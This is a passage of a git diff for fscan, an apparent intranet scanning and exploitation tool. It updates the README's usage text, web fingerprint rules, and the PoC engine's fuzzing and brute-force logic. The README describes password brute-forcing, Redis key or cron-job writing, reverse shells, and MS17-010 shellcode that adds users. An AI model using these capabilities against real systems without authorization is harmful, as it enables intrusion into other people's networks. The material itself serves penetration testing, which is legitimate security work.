conn.Close()
}
}()
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
err = conn.Handshake()
if err == nil || strings.Contains(err.Error(), "handshake failure") {
protocol = "https"
}
+48 -27
View File
@@ -1,10 +1,10 @@
# fscan
# 简介
# 1. 简介
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
## 主要功能
# 2. 主要功能
1.信息搜集:
* 存活探测(icmp)
* 端口扫描
@@ -24,13 +24,14 @@
* web漏洞扫描(weblogic、st2等,支持xray的poc)
5.漏洞利用:
* redis写公钥或写计划任务
* ssh命令执行
* redis写公钥或写计划任务
* ssh命令执行
* ms17017利用(植入shellcode),如添加用户等
6.其他功能:
* 文件保存
## usege
# 3. 使用说明
简单用法
```
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
@@ -53,10 +54,13 @@ fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
```
编译命令
```
go build -ldflags="-s -w " -trimpath
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可选,压缩体积)
```
完整参数
@@ -129,9 +133,19 @@ go build -ldflags="-s -w " -trimpath
指定Url文件扫描
-wt int
web访问超时时间 (default 5)
-pocpath string
指定poc路径
-usera string
在原有用户字典基础上,新增新用户
-pwda string
在原有密码字典基础上,增加新密码
-socks5
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
-sc
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
```
## 运行截图
# 4. 运行截图
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
![](image/1.png)
@@ -155,26 +169,8 @@ go build -ldflags="-s -w " -trimpath
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
![img.png](image/live.png)
## 参考链接
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
# 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
## Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
## 免责声明
# 5. 免责声明
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
@@ -187,7 +183,32 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
## 最近更新
# 6. 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
# 7. Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
# 8. 捐赠
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
# 9. 参考链接
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
# 10. 最近更新
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。
[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito
[+] 2022/1/11 新增oracle密码爆破
+4 -4
View File
@@ -28,11 +28,11 @@ func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
infoname = append(infoname, rule.Name)
}
}
flag, name := CalcMd5(data.Body)
//flag, name := CalcMd5(data.Body)
if flag == true {
infoname = append(infoname, name)
}
//if flag == true {
// infoname = append(infoname, name)
//}
}
infoname = removeDuplicateElement(infoname)
+3 -3
View File
@@ -41,11 +41,11 @@ func Execute(PocInfo common.PocInfo) {
return
}
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
if PocInfo.Cookie != "" {
req.Header.Set("Cookie", PocInfo.Cookie)
if common.Cookie != "" {
req.Header.Set("Cookie", common.Cookie)
}
pocs := filterPoc(PocInfo.PocName)
lib.CheckMultiPoc(req, pocs, PocInfo.Num)
lib.CheckMultiPoc(req, pocs, common.PocNum)
}
func initpoc() {
+14 -7
View File
@@ -110,7 +110,7 @@ var RuleDatas = []RuleData{
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
{"zabbix", "cookie", "(zbx_sessionid)"},
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA)"},
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
{"CISCO_VPN", "headers", "(webvpn)"},
{"360站长平台", "code", "(360-site-verification)"},
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
@@ -128,7 +128,7 @@ var RuleDatas = []RuleData{
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
{"H3C ER3260", "code", "(ER3260系统管理)"},
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
{"exchange", "code", "(/owa/auth.owa)"},
{"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
{"Spark_Worker", "code", "(Spark Worker at)"},
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
{"Citrix-ConfProxy", "code", "(confproxy)"},
@@ -145,7 +145,7 @@ var RuleDatas = []RuleData{
{"金和协同管理平台", "code", "(金和协同管理平台)"},
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
{"linksys-vpn", "headers", "(linksys-vpn)"},
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版)"},
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
{"华为(HUAWEISecoway设备", "code", "(Secoway)"},
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
@@ -169,7 +169,7 @@ var RuleDatas = []RuleData{
{"VMware vSphere", "code", "(VMware vSphere)"},
{"打印机", "code", "(打印机|media/canon.gif)"},
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
{"用友", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
{"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
@@ -232,7 +232,7 @@ var RuleDatas = []RuleData{
{"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
{"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
{"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\")"},
{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
{"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
{"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
@@ -246,14 +246,21 @@ var RuleDatas = []RuleData{
{"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
{"用友NC", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg)"},
{"用友NC", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg|用友NC|logo/images/ufida_nc.png)"},
{"用友IUFO", "code", "(iufo/web/css/menu.css)"},
{"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
{"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
{"CMS", "code", "(Powered by .*CMS)"},
{"editor", "code", "(editor)"},
{"目录遍历", "code", "(Directory listing for /)"},
{"ATLASSIAN-Confluence", "code", "(confluence.)"},
{"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
{"Kubernetes", "code", "(Kubernetes Dashboard</title>|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
{"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress</title>)"},
{"RabbitMQ", "code", "(RabbitMQ Management)"},
{"dubbo", "headers", "(Basic realm=\"dubbo\")"},
{"Spring env", "code", "(logback)"},
{"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
{"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
}
var Md5Datas = []Md5Data{
+224 -439
View File
@@ -1,6 +1,7 @@
package lib
import (
"crypto/md5"
"fmt"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/WebScan/info"
@@ -9,7 +10,6 @@ import (
"net/http"
"net/url"
"regexp"
"sort"
"strings"
"sync"
"time"
@@ -56,9 +56,13 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
c := NewEnvOption()
c.UpdateCompileOptions(p.Set)
if len(p.Sets) > 0 {
setMap := make(map[string]string)
for k := range p.Sets {
setMap[k] = p.Sets[k][0]
var setMap StrMap
for _, item := range p.Sets {
if len(item.Value) > 0 {
setMap = append(setMap, StrItem{item.Key, item.Value[0]})
} else {
setMap = append(setMap, StrItem{item.Key, ""})
}
}
c.UpdateCompileOptions(setMap)
}
@@ -73,96 +77,28 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
return false, err, ""
}
variableMap := make(map[string]interface{})
defer func() { variableMap = nil }()
variableMap["request"] = req
// 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload
keys := make([]string, 0)
keys1 := make([]string, 0)
for k := range p.Set {
if strings.Contains(strings.ToLower(p.Set[k]), "random") && strings.Contains(strings.ToLower(p.Set[k]), "(") {
keys = append(keys, k) //优先放入调用random系列函数的变量
} else {
keys1 = append(keys1, k)
for _, item := range p.Set {
k, expression := item.Key, item.Value
if expression == "newReverse()" {
variableMap[k] = newReverse()
continue
}
}
sort.Strings(keys)
sort.Strings(keys1)
keys = append(keys, keys1...)
for _, k := range keys {
expression := p.Set[k]
if k != "payload" {
if expression == "newReverse()" {
variableMap[k] = newReverse()
continue
}
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(p.Name," poc_expression error",err)
variableMap[k] = expression
continue
}
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = int(value)
case []uint8:
variableMap[k] = fmt.Sprintf("%s", out)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
}
}
if p.Set["payload"] != "" {
out, err := Evaluate(env, p.Set["payload"], variableMap)
err, _ = evalset(env, variableMap, k, expression)
if err != nil {
//fmt.Println(p.Name," poc_payload error",err)
return false, err, ""
}
variableMap["payload"] = fmt.Sprintf("%v", out)
}
setslen := 0
haspayload := false
var setskeys []string
if len(p.Sets) > 0 {
for _, rule := range p.Rules {
for k := range p.Sets {
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
if strings.Contains(k, "payload") {
haspayload = true
}
setslen++
setskeys = append(setskeys, k)
continue
}
for k2 := range rule.Headers {
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
if strings.Contains(k, "payload") {
haspayload = true
}
setslen++
setskeys = append(setskeys, k)
continue
}
}
}
fmt.Printf("[-] %s evalset error: %v", p.Name, err)
}
}
success := false
//爆破模式,比如tomcat弱口令
if setslen > 0 {
if haspayload {
success, err = clusterpoc1(oReq, p, variableMap, req, env, setskeys)
} else {
success, err = clusterpoc(oReq, p, variableMap, req, env, setslen, setskeys)
}
if len(p.Sets) > 0 {
success, err = clusterpoc(oReq, p, variableMap, req, env)
return success, nil, ""
}
DealWithRule := func(rule Rules) (bool, error) {
Headers := cloneMap(rule.Headers)
var (
flag, ok bool
)
@@ -172,11 +108,14 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
for k2, v2 := range Headers {
if !strings.Contains(v2, "{{"+k1+"}}") {
continue
}
Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
rule.Path = strings.ReplaceAll(rule.Path, "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(rule.Body, "{{"+k1+"}}", value)
}
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
@@ -186,15 +125,20 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
}
// 某些poc没有区分path和query,需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body))
if err != nil {
//fmt.Println("[-] newRequest error: ",err)
return false, err
}
newRequest.Header = oReq.Header.Clone()
for k, v := range rule.Headers {
for k, v := range Headers {
newRequest.Header.Set(k, v)
}
Headers = nil
resp, err := DoRequest(newRequest, rule.FollowRedirects)
newRequest = nil
if err != nil {
return false, err
}
@@ -243,8 +187,9 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
if len(p.Rules) > 0 {
success = DealWithRules(p.Rules)
} else { // Groups
for name, rules := range p.Groups {
} else {
for _, item := range p.Groups {
name, rules := item.Key, item.Value
success = DealWithRules(rules)
if success {
return success, nil, name
@@ -276,12 +221,12 @@ func doSearch(re string, body string) map[string]string {
func newReverse() *Reverse {
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().Unix()))
randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
sub := RandomStr(randSource, letters, 8)
if true {
//默认不开启dns解析
return &Reverse{}
}
//if true {
// //默认不开启dns解析
// return &Reverse{}
//}
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
u, _ := url.Parse(urlStr)
return &Reverse{
@@ -292,322 +237,182 @@ func newReverse() *Reverse {
}
}
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, slen int, keys []string) (success bool, err error) {
for _, rule := range p.Rules {
for k1, v1 := range variableMap {
if IsContain(keys, k1) {
continue
}
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
n := 0
for k := range p.Sets {
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
n++
continue
}
for k2 := range rule.Headers {
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
n++
continue
}
}
}
if n == 0 {
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
var strMap StrMap
var tmpnum int
for i, rule := range p.Rules {
if !isFuzz(rule, p.Sets) {
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == false {
break
if success {
continue
} else {
return false, err
}
}
if slen == 1 {
look1:
for _, var1 := range p.Sets[keys[0]] {
rule1 := cloneRules(rule)
setsMap := Combo(p.Sets)
ruleHash := make(map[string]struct{})
look:
for j, item := range setsMap {
//shiro默认只跑10key
if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 {
if item[1] == "cbc" {
continue
} else {
if tmpnum == 0 {
tmpnum = j
}
if j-tmpnum >= 10 {
break
}
}
}
rule1 := cloneRules(rule)
var flag1 bool
var tmpMap StrMap
var payloads = make(map[string]interface{})
var tmpexpression string
for i, one := range p.Sets {
key, expression := one.Key, item[i]
if key == "payload" {
tmpexpression = expression
}
_, output := evalset1(env, variableMap, key, expression)
payloads[key] = output
}
for _, one := range p.Sets {
flag := false
key := one.Key
value := fmt.Sprintf("%v", payloads[key])
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
if strings.Contains(v2, "{{"+key+"}}") {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+key+"}}", value)
flag = true
}
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
success, err = clustersend(oReq, variableMap, req, env, rule1)
if err != nil {
return false, err
if strings.Contains(rule1.Path, "{{"+key+"}}") {
rule1.Path = strings.ReplaceAll(rule1.Path, "{{"+key+"}}", value)
flag = true
}
if success == true {
break look1
if strings.Contains(rule1.Body, "{{"+key+"}}") {
rule1.Body = strings.ReplaceAll(rule1.Body, "{{"+key+"}}", value)
flag = true
}
if flag {
flag1 = true
if key == "payload" {
var flag2 bool
for k, v := range variableMap {
if strings.Contains(tmpexpression, k) {
flag2 = true
tmpMap = append(tmpMap, StrItem{k, fmt.Sprintf("%v", v)})
}
}
if flag2 {
continue
}
}
tmpMap = append(tmpMap, StrItem{key, value})
}
}
if success == false {
break
if !flag1 {
continue
}
has := md5.Sum([]byte(fmt.Sprintf("%v", rule1)))
md5str := fmt.Sprintf("%x", has)
if _, ok := ruleHash[md5str]; ok {
continue
}
ruleHash[md5str] = struct{}{}
success, err = clustersend(oReq, variableMap, req, env, rule1)
if err != nil {
return false, err
}
if success {
if rule.Continue {
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
} else {
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap))
}
continue
}
strMap = append(strMap, tmpMap...)
if i == len(p.Rules)-1 {
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap))
//防止后续继续打印poc成功信息
return false, nil
}
break look
}
}
if slen == 2 {
look2:
for _, var1 := range p.Sets[keys[0]] {
for _, var2 := range p.Sets[keys[1]] {
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
success, err = clustersend(oReq, variableMap, req, env, rule1)
if err != nil {
return false, err
}
if success == true {
break look2
}
}
}
if success == false {
break
}
if !success {
break
}
if slen == 3 {
look3:
for _, var1 := range p.Sets[keys[0]] {
for _, var2 := range p.Sets[keys[1]] {
for _, var3 := range p.Sets[keys[2]] {
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == true {
break look3
}
}
}
}
if success == false {
break
}
if rule.Continue {
//防止后续继续打印poc成功信息
return false, nil
}
}
return success, nil
}
func clusterpoc1(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, keys []string) (success bool, err error) {
setMap := make(map[string]interface{})
for k := range p.Sets {
setMap[k] = p.Sets[k][0]
}
setMapbak := cloneMap1(setMap)
for _, rule := range p.Rules {
for k1, v1 := range variableMap {
if IsContain(keys, k1) {
continue
}
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
varset := []string{}
varpay := []string{}
n := 0
for k := range p.Sets {
// 1. 如果rule中需要修改 {{k}} 如username、payload
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
if strings.Contains(k, "payload") {
varpay = append(varpay, k)
} else {
varset = append(varset, k)
}
n++
continue
}
for k2 := range rule.Headers {
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
if strings.Contains(k, "payload") {
varpay = append(varpay, k)
} else {
varset = append(varset, k)
}
n++
continue
}
func isFuzz(rule Rules, Sets ListMap) bool {
for _, one := range Sets {
key := one.Key
for _, v := range rule.Headers {
if strings.Contains(v, "{{"+key+"}}") {
return true
}
}
for _, key := range varpay {
v := fmt.Sprintf("%s", setMap[key])
for k := range p.Sets {
if strings.Contains(v, k) {
if !IsContain(varset, k) && !IsContain(varpay, k) {
varset = append(varset, k)
}
}
}
if strings.Contains(rule.Path, "{{"+key+"}}") {
return true
}
if n == 0 {
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == false {
break
}
}
if len(varset) == 1 {
look1:
// (var1 tomcat ,keys[0] username)
for _, var1 := range p.Sets[varset[0]] {
setMap := cloneMap1(setMapbak)
setMap[varset[0]] = var1
evalset(env, setMap)
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
for _, key := range varpay {
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
for _, key := range varpay {
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success == true {
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1))
break look1
}
}
if success == false {
break
}
}
if len(varset) == 2 {
look2:
// (var1 tomcat ,keys[0] username)
for _, var1 := range p.Sets[varset[0]] { //username
for _, var2 := range p.Sets[varset[1]] { //password
setMap := cloneMap1(setMapbak)
setMap[varset[0]] = var1
setMap[varset[1]] = var2
evalset(env, setMap)
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+varset[0]+"}}", var1)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+varset[1]+"}}", var2)
for _, key := range varpay {
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[0]+"}}", var1)
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+varset[1]+"}}", var2)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+varset[1]+"}}", var2)
for _, key := range varpay {
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
success, err = clustersend(oReq, variableMap, req, env, rule1)
if err != nil {
return false, err
}
if success == true {
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, var1, var2))
break look2
}
}
}
if success == false {
break
}
}
if len(varset) == 3 {
look3:
for _, var1 := range p.Sets[keys[0]] {
for _, var2 := range p.Sets[keys[1]] {
for _, var3 := range p.Sets[keys[2]] {
setMap := cloneMap1(setMapbak)
setMap[varset[0]] = var1
setMap[varset[1]] = var2
evalset(env, setMap)
rule1 := cloneRules(rule)
for k2, v2 := range rule1.Headers {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
for _, key := range varpay {
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+key+"}}", fmt.Sprintf("%v", setMap[key]))
}
}
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
